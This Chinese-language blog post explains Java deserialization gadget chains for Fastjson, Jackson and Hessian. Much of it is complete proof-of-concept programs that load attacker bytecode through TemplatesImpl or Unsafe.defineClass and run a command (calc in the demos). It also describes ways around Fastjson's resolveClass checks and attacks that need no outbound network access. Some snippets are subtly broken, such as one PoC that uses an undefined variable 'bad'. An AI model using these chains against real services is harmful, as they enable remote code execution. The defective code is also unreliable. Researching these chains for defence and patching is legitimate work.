少女祈祷中...

发一篇很久之前的内容,最近有接触到了一点

这里的原生反序化指的是不依赖于其他jar包的反序列化链,或者是指狭义的java反序列化readObject方法的调用

Fastjson原生反序列化

条件

fastjson 版本 <=2.0.26

(fastjson 1所有版本通杀)

JSONArray与JSONObject 实现了序列化接口

这里的点在于toString 方法

JSONObject 和 JSONArray 的toString 方法都是父类JSON 的toString 方法

在之前学习fastjson BCEL链的时候,就知道要用parse 方法触发,也就是套几层,时key为JSONObject 对象,调用对应的toString 方法(fastjson<=1.2.36),就会触发对应的getter方法,这里就再来具体看看

toString() 触发getter

跟进JSONSerializer#write

SerializeConfig#getObjectWriter​ 根据我们的类型获取ObjectWriter

但是JSONObject 是实现了Map接口的,所以会先获取到

当然获取的是MapSerializer

跟进write方法,这里 会对取出其中的key和value 获取ObjectWriter​ 再write

当value 是 一般的类的时候,就会走到createJavaBeanSerializer​ 方法 ,之前看过就不再赘述

值得再提的是fastjson 默认配置asm 为 true,所以会使用ASM生成一个类,当然可以手动配置为false ,就会获取到JavaBeanSerializer

无论哪个都是靠 调用由 TypeUtils#buildBeanInfo​ 提取的getter 来获取 javabean 的属性值

ASM 方式的 getter方法调用 的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#_get​当中

也是通过反射调用

利用链

既然只能触发get方法的调用那么很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用

而触发toString方法我们也有现成的链,通过BadAttributeValueExpException触发即可

因此我们很容易写出利用链子

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "yyjccc");


JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}



或者

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "yyjccc");

JSONObject jsonObject = new JSONObject();
jsonObject.put("1", templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonObject);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}



1.2.49的限制

从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法

在其SecureObjectInputStream​类当中重写了resolveClass​,在其中调用了checkAutoType​方法做类的检查

这又进入了熟悉的checkAutoType方法

resolveClass限制绕过

要想知道resolve 是 怎么绕过的,就得对java 反序列化的流程有一定的了解(我不太了解,(:)

直接反向看,查看什么地方会调用 resolveClass​方法,他这里是重写了ObjectInputStream#resolveClass

发现只有一处调用:readNonProxyDesc​方法中

readClassDesc​中调用了readNonProxyDesc

readClassDesc​方法从系统中读取当前Java对象所属类的描述信息,(关键点还不是这里)

这里对比一下流程

ObjectInputStream ->readObject0-> readClassDesc-> ... -> 
SecureObjectInputStream ->defaultReadObject->readObject0 ->readClassDesc-> resolveClass

当然也可以不按照上面的流程,

注意到readObject0 中的switch 分支

大多时候都是走TC_OBJECT​这个分支

但是还要注意到上面的TC_REFERENCE​ 分支,引用类型

注释也写的很清楚: check the type of the existing object

引用类型,这里的引用,是序列化机制的一种优化,

当序列化第二次遇到同一个对象的时候,不会再按照写入对象的流程,而是写入了一个引用,指向之前写入的同一个对象,以便序列化或者反序列化能够减少开销。

跟进readHandle​方法中

从缓存中获取对应的对象

那么只要在序列化的对象中内部重复放入同一个对象,那么第二个就会变为引用的分支(这样也可以减少重复的反序列化)

怎么操作呢?

答案是当向List、set、map类型中添加同样对象(被限制的加载类的对象)时即可成功利用,

这样就很巧妙,利用这些容器类,可以在反序列化JSONObject/JSONArray对象之前 就反序列化好恶意的TemplatesImpl对象

当反序列化JSONObject/JSONArray 当中的恶意对象时候就会走引用类型

这样就绕过了重写的 resolveClass 对类加载的限制

最后poc

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import java.util.HashMap;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "yyjccc");

JSONObject jsonObject = new JSONObject();
jsonObject.put("1", templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonObject);

HashMap hashMap = new HashMap();
// HashMap 中 key 先反序列化
hashMap.put(templates,bad);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashMap);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

‍所以可以利用先反序列化恶意对象,绕过检查,反序列化JSONObject 或者JSONArray 的时候,就是引用类型,无需类加载。

补充:

高版本fastjson中,JSONObjec/JSONArray 反序列化加载类的时候

protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = desc.getName();
if (name.length() > 2) {
int index = name.lastIndexOf('[');
if (index != -1) {
name = name.substring(index + 1);
}
if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') {
name = name.substring(1, name.length() - 1);
}

if (TypeUtils.getClassFromMapping(name) == null) {
ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);
}
}
return super.resolveClass(desc);
}

ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);

正是fastjson autoType检查 加载类的过程(黑白名单)

但是loadClass后,会获取beanInfo

然后会获取无参构造方法,但是某些类没声明无参构造方法,会导致抛出异常,终止反序列化

但也得益于fastjson缓存机制,加载类成功后会缓存到map,上面代码 中若缓存中存在该类名,直接调用super.resolveClass

因此有些情况需要反序列化两次

例如:利用fastjson触发二次反序列化绕waf,其中SignObject 就是这个例子

打两次就好了

例题:

利用fastjson 触发SignObject#getObject

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
ReflectField.setField(templates, "_bytecodes", bytes);
ReflectField.setField(templates, "_name", "yyjccc");

JSONObject jsonObject = new JSONObject();
jsonObject.put("1", templates);

BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field valfield = bad.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(bad, jsonObject);


HashMap hashMap = new HashMap();
// HashMap 中 key 先反序列化
hashMap.put(templates,bad);


KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));

JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);


EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Field edits = CompoundEdit.class.getDeclaredField("edits");
edits.setAccessible(true);
Vector vector = (Vector)edits.get(undoManager);
vector.add(jsonArray1);
ReflectField.setField(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(eventListenerList);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

需要先打1次,然后才能正常触发

Jackson原生反序列化

简单分析

这条 JACKSON 链可以直接在无任何额外依赖的 SpringBoot 环境下使用

jackson获取属性值也是通过getter方法来获取的, 跟fastjson原生反序列化一样是由toString 方法触发

com.fasterxml.jackson.databind.node.BaseJsonNode​ 这个类toString

最后是在BeanSerializerBase#serializeFields 中 prop.serializeAsField​里面调用getter方法![Snipaste_2024-10-03_16-18-56]

POJONode​继承了BaseJsonNode

BeanSerializerFactory#constructBeanOrAddOnSerializer​ 中获取合适的getter ,其中细节就跳过

但是还是有问题

BaseJsonNode​ 中含有writeReplace​ 方法 会导致序列化的时候调用,导致提前触发而序列化失败

使用javassist 可以删除该方法

CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);

构造出poc:

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;




import javax.management.BadAttributeValueExpException;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;

import java.nio.file.Files;
import java.security.SecureRandom;
import java.security.cert.X509Certificate;

public class Main {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "yyjccc");

CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);

POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

SerializeUtil.serialize(exp);
}
}

Jackson链的不稳定性

如果多重启几次springboot环境 ,或者运气不好就不会成功

可以发现有getter的属性 除了 output 还有transletIndex​、stylesheetDOM

经过在springboot 环境下 多重启几次调式就可以发现 他们的顺序是随机的

如果当先触发getStylesheetDOM​方法的时候

_sdom 属性没有在readObject 方法中做任何处理,即便设置默认值 ,经过反序列化后得到的是null

那么就会触发空指针异常提前退出

就会如下报错

Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:483)
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
... 74 more

根本原因 ,是由于java中getMethods方法返回方法数组中顺序是随机的

可以参考这篇文章:https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q

参考网上的解决方案:使用动态代理

一个动态代理对象的方法是其代理的接口中的方法

而刚好TemplatesImpl 实现了接口Templates​ 其其中刚好只有上面三个方法中的getOutputProperties

由于一般都有spring依赖,使用spring的动态代理

JdkDynamicAopProxy​ (也是实现了Serializable​ 接口)

其中的incoke 方法

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource;
Object target = null;
......

target = targetSource.getTarget();
Class<?> targetClass = target != null ? target.getClass() : null;
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
.......


}

可以看出来被代理的对象存于advised 属性,即AdvisedSupport​类

而被代理对象又存于targetSource

不过AdvisedSupport#setTarget​ 的方法就可以直接设置被代理对象

构建动态代理

AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor c = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
c.setAccessible(true);
InvocationHandler handler = (InvocationHandler)c.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);

最终poc

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main {
public static void main(String[] args) throws Exception {


ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "yyjccc");


AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor c = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
c.setAccessible(true);
InvocationHandler handler = (InvocationHandler)c.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);


CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);


POJONode jsonNodes = new POJONode(proxy);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

SerializeUtil.serialize(exp);
SerializeUtil.unSerialize();

}
}

Hessian JDK 原生反序列化

Hessain 反序列化 相较于原生的反序列化 类不需要实现Serializable​接口也能进行序列化和反序列化

这样范围就比原生的要广

实战中可能由于对方机器由于防火墙限制不能出网,那么就不能打JNDI

这时候就需要这一条链,Hessian反序列化的不出网打法

任意静态方法调用

在网上一个师傅的文章里找到了一条JDK原生的可以invoke任意静态方法,或实例化任意类的gadget:

UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue

UIDefaults​这个类中

SwingLazyValue​中

这里只能调用类中的静态方法

其实之后可以调用InitContext#doLookup方法

defineClass

不出网执行任意代码的手段之一是将字节码defineClass​然后newInstense​,比如像基于TemplatesImpl​的原生反序列化。之前看内存马的时候,就用过Unsafe去加载一个类

但是这并不是一个静态方法,还需要套一层

Trampoline#invoke​ 方法能够实现静态方法到unsafe里的defineClass

但是直接加载Trampoline​这个类,会发生报错

于是又找到MethodUtil​这个类的invoke方法

MethodUtil​中的invoke也是通过Trampoline#invoke​这个方法触发的

由于参数类型的原因,需要套娃一层才能够进行defineClass

调用一次defineClass不能执行静态代码块,需要再利用SwingLazyValue​再来一次newInstance

String className = "GeneratedClass";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(className);
ctClass.makeClassInitializer().insertBefore(
"Runtime.getRuntime().exec(\"calc\");"
);
byte[] bytes = ctClass.toBytecode();

Method defineClass=Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
Object[] defineClassArgs =new Object[]{"GeneratedClass",bytes,0,bytes.length,null,null};

Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);

//套娃调用
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Object[] invokeArgs =new Object[]{defineClass,unsafe,defineClassArgs};

SwingLazyValue defineClassswingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invoke,new Object(),invokeArgs});
Object[] keyValueList1 = new Object[]{"a", defineClassswingLazyValue};
SwingLazyValue newInstanceswingLazyValue = new SwingLazyValue("GeneratedClass",null,new Object[0]);
Object[] keyValueList2 = new Object[]{"ddd", newInstanceswingLazyValue};


UIDefaults uiDefaults = new UIDefaults(keyValueList1);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList2);

uiDefaults.get("a");
uiDefaults2.get("ddd");

触发get

HashTable 的equal方法

所以是

HashMap#put->
HashTable#equal->
UIDefaults#get

偷懒了,搬运其他师傅的poc

public static void main(String[] args) throws Exception {
String className = "GeneratedClass";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(className);
ctClass.makeClassInitializer().insertBefore(
"Runtime.getRuntime().exec(\"calc\");"
);
byte[] bytes = ctClass.toBytecode();

Method defineClass=Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
Object[] defineClassArgs =new Object[]{"GeneratedClass",bytes,0,bytes.length,null,null};

Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);

//封装参数,为Object (MethodUtil.invoke调用MethodUtil.invoke)
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Object[] invokeArgs =new Object[]{defineClass,unsafe,defineClassArgs};

SwingLazyValue defineClassswingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invoke,new Object(),invokeArgs});
Object[] keyValueList1 = new Object[]{"a", defineClassswingLazyValue};
SwingLazyValue newInstanceswingLazyValue = new SwingLazyValue("GeneratedClass",null,new Object[0]);
Object[] keyValueList2 = new Object[]{"ddd", newInstanceswingLazyValue};




UIDefaults uiDefaults1 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList2);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList2);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
HashMap<Object, Object> s = new HashMap<>();
ReflectField.setField(s, "size", 4);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 4);
Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
ReflectField.setField(s, "table", tbl);



byte[] serialize = HessianSerialize.serialize(s);
Object deserialize = HessianSerialize.deserialize(serialize);
}

其他利用:https://yzddmr6.com/posts/swinglazyvalue-in-webshell/

Reference